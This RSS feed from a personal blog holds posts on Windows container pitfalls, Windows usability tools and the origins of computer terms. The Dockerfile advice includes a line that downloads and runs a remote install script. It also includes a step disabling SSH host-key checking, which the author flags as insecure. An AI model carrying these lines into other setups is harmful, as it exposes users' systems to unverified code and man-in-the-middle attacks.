<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Adrian Shaw</title>
    <description>Security researcher</description>
    <link>https://adrianlshaw.com</link>
    <atom:link href="https://adrianlshaw.com/feed.xml" rel="self" type="application/rss+xml" />
    
      <item>
        <title>Windows containers pitfalls</title>
        <description>&lt;p&gt;I’ve had enough of the hassle of manually tuning Windows development environments and dealing with their brittle nature. Lately, I’ve had no choice but to use Windows to build some software, and the environment can make or break a piece of software.&lt;/p&gt;

&lt;p&gt;So, I decided to automate the pain. Docker supports “Windows Containers.” Unlike Linux containers which use OS-level namespaces and cgroups, Windows containers come in two flavours: process isolation (similar to Linux containers, but only available on Windows Server) and Hyper-V isolation (which spins up a lightweight VM). On Windows 10/11, you’re typically stuck with Hyper-V isolation.&lt;/p&gt;

&lt;p&gt;Even with a basic Windows container, you can’t escape some confusing quirks. In this post, I’ll share the challenges I’ve faced, some hard-won advice, and a complete Dockerfile example at the end.&lt;/p&gt;

&lt;h2 id=&quot;base-images&quot;&gt;Base images&lt;/h2&gt;

&lt;p&gt;A good base image I use is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mcr.microsoft.com/windows/servercore:ltsc2019&lt;/code&gt;. I believe it’s a cut-down version of Windows Server.&lt;/p&gt;

&lt;p&gt;Be aware that other images have disappeared from the registry. It’s not clear when Microsoft decides to remove them, so try to stay informed.&lt;/p&gt;

&lt;h2 id=&quot;powershell&quot;&gt;PowerShell&lt;/h2&gt;

&lt;p&gt;You should try to use PowerShell for everything when possible. It’s the default shell in Windows containers and handles paths, environment variables, and Unicode much better than CMD. When downloading files, use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Invoke-WebRequest&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Invoke-RestMethod&lt;/code&gt; rather than shelling out to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;cmd-shell&quot;&gt;CMD Shell&lt;/h2&gt;

&lt;p&gt;But it’s not always possible to use PowerShell. The trick to using CMD in a container is to use the following flags in your Dockerfile:&lt;/p&gt;

&lt;div class=&quot;language-dockerfile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SHELL&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; [&quot;cmd&quot;, &quot;/S&quot;, &quot;/C&quot;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here’s what each part roughly means:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SHELL&lt;/code&gt;&lt;/strong&gt;: This Dockerfile instruction changes the default shell used for RUN commands.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd&lt;/code&gt;&lt;/strong&gt;: Specifies that the shell to be used is the Windows Command Prompt executable (cmd.exe).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/S&lt;/code&gt;&lt;/strong&gt;: This switch changes how commands are processed. It strips out certain extra processing that might interfere with commands, ensuring they run as intended.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/C&lt;/code&gt;&lt;/strong&gt;: This switch tells cmd.exe to carry out the command that follows and then terminate.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This ensures behaviour that is closely aligned with what Windows users might expect from a batch/Command Prompt environment rather than PowerShell.&lt;/p&gt;

&lt;h2 id=&quot;paths-in-dockerfile&quot;&gt;Paths in Dockerfile&lt;/h2&gt;

&lt;p&gt;Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\\&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\&lt;/code&gt; wherever possible. You never know which program may strip them out because they are treated as escape characters. Without doing this, I had cases where environment variables would show &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CUsersUser.sshid_rsa&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Users\User\.ssh\id_rsa&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;administrator-vs-unprivileged-user&quot;&gt;Administrator vs Unprivileged User&lt;/h2&gt;

&lt;p&gt;The most important thing to note is that unprivileged users can’t create symbolic links. This is annoying when you use software that requires them, like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gitman&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;At least with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ltsc2019&lt;/code&gt; image, I found you can’t use the registry tweaks or turn on developer mode to enable this, like you would on a typical Windows install.&lt;/p&gt;

&lt;p&gt;The best workaround is to run container software as Administrator. It’s a bit sad, but I’ve not found a solution yet.&lt;/p&gt;

&lt;h2 id=&quot;package-management&quot;&gt;Package management&lt;/h2&gt;

&lt;p&gt;I highly recommend the &lt;a href=&quot;https://scoop.sh&quot;&gt;scoop.sh&lt;/a&gt; package manager, especially over Chocolatey, NuGet, or WinGet. Scoop works without admin, but if you face the symlink issue then you can force Scoop to install and run as Administrator by using an extra install argument.&lt;/p&gt;

&lt;h2 id=&quot;git-and-ssh-agent&quot;&gt;Git and SSH agent&lt;/h2&gt;

&lt;p&gt;I found the following necessary for ssh-agent to work. Run these as Administrator:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-Service&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ssh-agent&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-Service&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-StartupType&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Automatic&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Start-Service&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ssh-agent&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Don’t put &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Start-Service ssh-agent&lt;/code&gt; as a RUN command in the Dockerfile, because it won’t be running when the container starts—services don’t persist across image layers.&lt;/p&gt;

&lt;p&gt;You also need the following, otherwise SSH agent won’t work properly:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git config &lt;span class=&quot;nt&quot;&gt;--global&lt;/span&gt; core.sshCommand &lt;span class=&quot;s2&quot;&gt;&quot;&apos;C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Windows&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;System32&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;OpenSSH&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ssh.exe&apos;&quot;&lt;/span&gt;
git config &lt;span class=&quot;nt&quot;&gt;--global&lt;/span&gt; core.symlinks &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you run some git-based tool like gitman, you may not see any interactive prompts that normally appear. One case is that it was hung on an invisible prompt asking to accept a host key. Either connect to the server manually beforehand, or disable StrictHostKeyChecking:&lt;/p&gt;

&lt;div class=&quot;language-dockerfile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;Host &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; C:&lt;span class=&quot;se&quot;&gt;\U&lt;/span&gt;sers&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;ontainerAdministrator&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;ssh&lt;span class=&quot;se&quot;&gt;\c&lt;/span&gt;onfig &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;echo     &lt;/span&gt;StrictHostKeyChecking no &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; C:&lt;span class=&quot;se&quot;&gt;\U&lt;/span&gt;sers&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;ontainerAdministrator&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;ssh&lt;span class=&quot;se&quot;&gt;\c&lt;/span&gt;onfig
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; This is utterly insecure and I don’t recommend it. It’s better to scan the hosts at a known good time and save the known_hosts file somewhere that can then be copied into the container.&lt;/p&gt;

&lt;h2 id=&quot;installing-visual-studio&quot;&gt;Installing Visual Studio&lt;/h2&gt;

&lt;p&gt;The easiest way to install Visual Studio into a container is to create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.vsconfig&lt;/code&gt; file and pass it to the Visual Studio installer.&lt;/p&gt;

&lt;p&gt;Here is an example:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;components&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.Component.MSBuild&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.NetCore.Component.Runtime.5.0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.VisualStudio.Component.CoreBuildTools&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.VisualStudio.Component.Roslyn.Compiler&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.VisualStudio.Component.VC.Tools.x86.x64&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.VisualStudio.Component.Windows10SDK.19041&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.VisualStudio.Workload.MSBuildTools&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.VisualStudio.ComponentGroup.NativeDesktop.Core&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.VisualStudio.Workload.NativeDesktop&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.VisualStudio.Component.VC.ATLMFC&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can find the component IDs you need in the &lt;a href=&quot;https://learn.microsoft.com/en-us/visualstudio/install/workload-component-id-vs-build-tools&quot;&gt;Visual Studio component directory&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;example-dockerfile&quot;&gt;Example Dockerfile&lt;/h2&gt;

&lt;p&gt;Here’s a complete example bringing together most of the advice from this post:&lt;/p&gt;

&lt;div class=&quot;language-dockerfile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# escape=`&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; mcr.microsoft.com/windows/servercore:ltsc2019&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Use CMD shell for compatibility&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SHELL&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; [&quot;cmd&quot;, &quot;/S&quot;, &quot;/C&quot;]&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Install Scoop as Administrator&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;powershell &lt;span class=&quot;nt&quot;&gt;-Command&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
    Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force; `
    iex (New-Object Net.WebClient).DownloadString(&apos;https://get.scoop.sh&apos;)

# Install essential tools via Scoop
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;powershell &lt;span class=&quot;nt&quot;&gt;-Command&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
    scoop install git; `
    scoop install cmake; `
    scoop install ninja

&lt;span class=&quot;c&quot;&gt;# Configure Git for SSH&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;git config &lt;span class=&quot;nt&quot;&gt;--global&lt;/span&gt; core.sshCommand &lt;span class=&quot;s2&quot;&gt;&quot;&apos;C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Windows&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;System32&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;OpenSSH&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ssh.exe&apos;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
    git config --global core.symlinks true

&lt;span class=&quot;c&quot;&gt;# Enable and start SSH agent&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;powershell &lt;span class=&quot;nt&quot;&gt;-Command&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
    Get-Service -Name ssh-agent | Set-Service -StartupType Automatic

&lt;span class=&quot;c&quot;&gt;# Set up working directory&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WORKDIR&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; C:\\workspace&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Entry point that starts ssh-agent&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;CMD&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; powershell -Command &quot;Start-Service ssh-agent; cmd&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Remember that services don’t persist across image layers, so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Start-Service ssh-agent&lt;/code&gt; must be in the entry point or run script, not in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RUN&lt;/code&gt; command.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;final-thoughts&quot;&gt;Final thoughts&lt;/h2&gt;

&lt;p&gt;Windows containers are painful, but they can save hours of manual environment setup once you get them working.&lt;/p&gt;

&lt;p&gt;Good luck, and may your builds be reproducible.
```&lt;/p&gt;
</description>
        <pubDate>Mon, 08 Dec 2025 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/windows-containers</link>
        <guid isPermaLink="true">https://adrianlshaw.com/windows-containers</guid>
      </item>
    
      <item>
        <title>Making windows bearable</title>
        <description>&lt;p&gt;Sometimes you have no choice but to use Windows. Whether it’s for work, gaming, or that one piece of software that only runs on Microsoft’s platform, we’ve all been there. After years of macOS, going back to Windows feels like I keep bumping my head
against something, where everything is &lt;em&gt;almost&lt;/em&gt; familiar, but slightly off.&lt;/p&gt;

&lt;p&gt;Here’s my survival guide for making Windows feel less hostile.&lt;/p&gt;

&lt;h2 id=&quot;cpu-performance-throttlestop&quot;&gt;CPU Performance: ThrottleStop&lt;/h2&gt;

&lt;p&gt;Before anything else, make sure your hardware is actually performing. Many laptops aggressively throttle the CPU, leaving you with a sluggish experience for no good reason. &lt;a href=&quot;https://www.techpowerup.com/download/techpowerup-throttlestop/&quot;&gt;ThrottleStop&lt;/a&gt; can help you take back control of your CPU’s performance. Without decent CPU performance, nothing else on this list will feel right.&lt;/p&gt;

&lt;h2 id=&quot;scoop-a-proper-package-manager&quot;&gt;Scoop: A Proper Package Manager&lt;/h2&gt;

&lt;p&gt;If you miss &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brew install&lt;/code&gt;, you’ll love &lt;a href=&quot;https://scoop.sh/&quot;&gt;Scoop&lt;/a&gt;. It’s a command-line package manager that doesn’t require admin privileges and works exactly how you’d expect:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;scoop &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;git
scoop &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;vim
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Simple!&lt;/p&gt;

&lt;h2 id=&quot;coreutils&quot;&gt;Coreutils&lt;/h2&gt;

&lt;p&gt;Once you have Scoop, immediately run:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;scoop &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;coreutils
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat&lt;/code&gt;, and so on. 
Your muscle memory will thank you.&lt;/p&gt;

&lt;h2 id=&quot;glazewm-tiling-window-manager&quot;&gt;GlazeWM: Tiling Window Manager&lt;/h2&gt;

&lt;p&gt;If you like tiling window managers, &lt;a href=&quot;https://github.com/glzr-io/glazewm&quot;&gt;GlazeWM&lt;/a&gt; is one that doesn’t require admin and 
does a reasonable job at filling available screen space. 
It has a sensible user license and actually works well.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;scoop bucket add extras
scoop &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;extras/glazewm
scoop &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;extras/zebar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Important key bindings:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Alt + Arrow keys&lt;/code&gt; - Navigate between windows&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Alt + V&lt;/code&gt; - Toggle vertical/horizontal split for the next window&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In my opinion, once you go tiling, you never go back.&lt;/p&gt;

&lt;h2 id=&quot;powertoys-spotlight-for-windows&quot;&gt;PowerToys: Spotlight for Windows&lt;/h2&gt;

&lt;p&gt;Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/powertoys/&quot;&gt;PowerToys&lt;/a&gt; is surprisingly good. Install it from the Windows Store, then immediately go to PowerToys Run settings and change the activation shortcut to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Windows + Space&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now you have something that feels almost like Spotlight.&lt;/p&gt;

&lt;h2 id=&quot;translucenttb&quot;&gt;TranslucentTB&lt;/h2&gt;

&lt;p&gt;I find the Windows 11 taskbar to be lacking aesthetically. &lt;a href=&quot;https://apps.microsoft.com/detail/9pf4kz2vn4w9&quot;&gt;TranslucentTB&lt;/a&gt; from the Windows Store makes it transparent, which somehow makes the whole desktop feel less cluttered.&lt;/p&gt;

&lt;h2 id=&quot;quality-of-life-settings&quot;&gt;Quality of Life Settings&lt;/h2&gt;

&lt;p&gt;These are buried in the settings but worth finding:&lt;/p&gt;

&lt;h3 id=&quot;right-click-to-end-task&quot;&gt;Right-click to End Task&lt;/h3&gt;

&lt;p&gt;No more opening Task Manager just to kill a frozen app.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Settings → System → For developers → End Task&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;show-file-extensions&quot;&gt;Show File Extensions&lt;/h3&gt;

&lt;p&gt;Why this isn’t on by default in 2024 is beyond me.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Settings → System → For developers → File Explorer&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;focus-follows-mouse&quot;&gt;Focus Follows Mouse&lt;/h3&gt;

&lt;p&gt;If you’re used to this from Linux/X11, you can &lt;a href=&quot;https://www.reddit.com/r/Winsides/comments/1ikkqpl/how_to_enable_focus_follows_mouse_in_windows_11/&quot;&gt;enable it in Windows 11&lt;/a&gt; too.&lt;/p&gt;

&lt;h2 id=&quot;terminal-windows-terminal-or-alacritty&quot;&gt;Terminal: Windows Terminal or Alacritty&lt;/h2&gt;

&lt;p&gt;The default Windows Terminal is acceptable. It’s miles better than the old cmd.exe, but I find it laggy at times. &lt;a href=&quot;https://alacritty.org/&quot;&gt;Alacritty&lt;/a&gt; is worth trying if you want something snappier.&lt;/p&gt;

&lt;h2 id=&quot;other-useful-tools&quot;&gt;Other Useful Tools&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://windirstat.net/&quot;&gt;WinDirStat&lt;/a&gt;&lt;/strong&gt; - Shows a visual treemap of what is consuming the disk space.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://apps.microsoft.com/detail/9pljwwsv01lk&quot;&gt;Twinkle Tray&lt;/a&gt;&lt;/strong&gt; - Control monitor brightness from your taskbar, which is useful if you have external monitors.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://apps.microsoft.com/detail/9ntsnmsvcb5l&quot;&gt;Screenbox&lt;/a&gt;&lt;/strong&gt; - A media player if VLC feels too heavy.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Chris Titus Tech’s debloat script&lt;/strong&gt; - For removing the telemetry and bloatware.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;one-last-tip&quot;&gt;One Last Tip&lt;/h2&gt;

&lt;p&gt;Right-click the desktop, go to View, and uncheck “Show desktop icons.”&lt;/p&gt;

&lt;p&gt;A clean desktop is like a real clean desk, it declutters the mind.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;It would be better to not use Windows at all, but sometimes you have to. Bye for now.&lt;/p&gt;
</description>
        <pubDate>Sun, 07 Dec 2025 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/Making-Windows-Bearable</link>
        <guid isPermaLink="true">https://adrianlshaw.com/Making-Windows-Bearable</guid>
      </item>
    
      <item>
        <title>Etymology of computer terms</title>
        <description>&lt;p&gt;It’s easy to forget about the origins of some very common computer terms. Quite a few of them rely on a good familiarity with the
history of computer development. As a native English speaker I feel like I should be able to explain the names of these terms in case
someone asks. I’m writing down the origins of these terms here for my own benefit, but if you’re reading this then you may learn something too!&lt;/p&gt;

&lt;h2 id=&quot;terminal-️&quot;&gt;Terminal 🖥️&lt;/h2&gt;

&lt;p&gt;What we know now as a graphical window for submitting commands. Terminal derives from the Latin word terminus, which means the end or boundary. In the early days of computing, computers were in a big cabinet, and you entered commands into them using a connected typewriter-like device, which was called a terminal. It is called a terminal because the device is at the end of the cable connected to the computer.&lt;/p&gt;

&lt;h2 id=&quot;shell-&quot;&gt;Shell 🐚&lt;/h2&gt;

&lt;p&gt;This refers to the software that interprets your commands, runs your programs, and then sends output to the console. In the days of Multics and Unix, there was the concept of an inner and outer part of the computer software. The inner part of the computer software was called the kernel and the outer part was called the shell, which is an analogy based on the different parts of a nut, such as an acorn or walnut.&lt;/p&gt;

&lt;h2 id=&quot;console-&quot;&gt;Console 📜&lt;/h2&gt;

&lt;p&gt;The part that displays the outputs of commands. In the early days this was printed paper coming out of the terminal, and then later on it was on a display that was integrated into the terminal itself. Today with a desktop environment, we can have multiple consoles&lt;/p&gt;

&lt;h2 id=&quot;firewall-&quot;&gt;Firewall 🧱&lt;/h2&gt;

&lt;p&gt;A wall intended to confine fires within adjacent buildings. The concept was then later used in cars to isolate the engine compartment from the passenger. In the early days of the internet, this analogy was used to describe the isolation mechanism between public and private networks, although precisely who coined it and when seems unclear.&lt;/p&gt;

&lt;h2 id=&quot;bug-&quot;&gt;Bug 🐞&lt;/h2&gt;

&lt;p&gt;One term that everyone should already know. A bug means a computer issue generally, but the term comes from one of the first documented computer issues where a moth was stuck inside a computer.&lt;/p&gt;

&lt;h2 id=&quot;patch-&quot;&gt;Patch 🩹&lt;/h2&gt;

&lt;p&gt;In the early days of computers, programs were stored on punch cards. Punch cards are small cards that have printed holes in them to denote values. If you made a mistake in your program then you would need to print your program out again on a new set of cards, which certainly sounds annoying and laborious. If the required change was very minor, you could place a bit of tape over the problematic hole on your card to change the value. So patches were physical in those days, and is where the term comes from. Universities and companies had a limited stock of cards, so you can expect some students might have tried to reuse them. Today a patch can refer to any type of fix to a computer program.&lt;/p&gt;

&lt;hr /&gt;

